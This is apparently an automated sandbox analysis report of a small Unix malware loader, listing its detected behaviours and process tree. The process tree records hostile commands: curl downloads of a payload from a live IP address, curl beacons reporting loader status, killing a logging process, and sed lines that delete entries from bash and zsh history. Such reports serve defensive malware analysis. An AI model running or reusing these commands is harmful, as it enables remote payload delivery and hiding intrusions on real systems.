Overview

overview

6

Static

static

1

fd8dc70d485d

ubuntu-18.04-amd64

6

fd8dc70d485d

debian-9-armhf

6

fd8dc70d485d

debian-9-mips

6

fd8dc70d485d

debian-9-mipsel

6

Analysis

  • max time kernel
    3s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02/11/2026, 12:19

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    fd8dc70d485d
  • Size 4KB
  • Sample261102-phktbafa43
  • SHA256 e5c5a71ce6ee862291715c1c04be8518be06a5367f8b2263b2e9d905e79f256c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
credential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads Bash history 1 TTPs 1 IoCs

    Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

    credential_access
  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Reads CPU attributes 1 TTPs 1 IoCs
    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/fd8dc70d485d
    /tmp/fd8dc70d485d
    1⤵
      PID:713
      • /usr/bin/arch
        arch
        2⤵
          PID:718
        • /usr/bin/base64
          base64 -D
          2⤵
          • Deobfuscate/Decode Files or Information
          PID:726
        • /usr/bin/whoami
          whoami
          2⤵
            PID:731
          • /usr/bin/arch
            arch
            2⤵
              PID:733
            • /bin/mktemp
              mktemp -d
              2⤵
                PID:735
              • /bin/mkdir
                mkdir -p /root/Library/Caches/com.apple.system
                2⤵
                  PID:737
                • /usr/bin/pkill
                  pkill -9 -f com.apple.syslogd
                  2⤵
                  • Reads CPU attributes
                  • Reads runtime system information
                  PID:740
                • /bin/sleep
                  sleep 0.1
                  2⤵
                    PID:743
                  • /usr/bin/arch
                    arch
                    2⤵
                      PID:746
                    • /usr/bin/base64
                      base64 -D
                      2⤵
                      • Deobfuscate/Decode Files or Information
                      PID:749
                    • /usr/bin/head
                      head -c8 /dev/urandom
                      2⤵
                        PID:751
                      • /usr/bin/od
                        od -An -tx1
                        2⤵
                          PID:752
                        • /usr/bin/tr
                          tr -d " \\n"
                          2⤵
                            PID:753
                          • /bin/uname
                            uname -m
                            2⤵
                              PID:755
                            • /usr/bin/curl
                              curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"d2d82853283ea14e\",\"src\":\"http://45.158.199.240/f370926555f69e1?force=1\"}" -m 5
                              2⤵
                                PID:754
                              • /usr/bin/id
                                id -u
                                2⤵
                                  PID:758
                                • /bin/sed
                                  sed -i "\$d" /root/.zsh_history
                                  2⤵
                                  • Reads runtime system information
                                  PID:761
                                • /usr/bin/curl
                                  curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://45.158.199.240/afa932f75cd?force=1" -o /tmp/tmp.ww1DC6P3Z2/.tFZDZY
                                  2⤵
                                    PID:762
                                  • /bin/sed
                                    sed -i "\$d" /root/.bash_history
                                    2⤵
                                    • Reads Bash history
                                    • Reads runtime system information
                                    PID:764
                                  • /usr/bin/arch
                                    arch
                                    2⤵
                                      PID:765
                                    • /bin/uname
                                      uname -r
                                      2⤵
                                        PID:767
                                      • /bin/rm
                                        rm -rf /tmp/tmp.ww1DC6P3Z2
                                        2⤵
                                          PID:770
                                        • /usr/bin/curl
                                          curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"d2d82853283ea14e\",\"src\":\"http://45.158.199.240/f370926555f69e1?force=1\"}" -m 3
                                          2⤵
                                            PID:769

                                        Network

                                              MITRE ATT&CK Enterprise v16

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads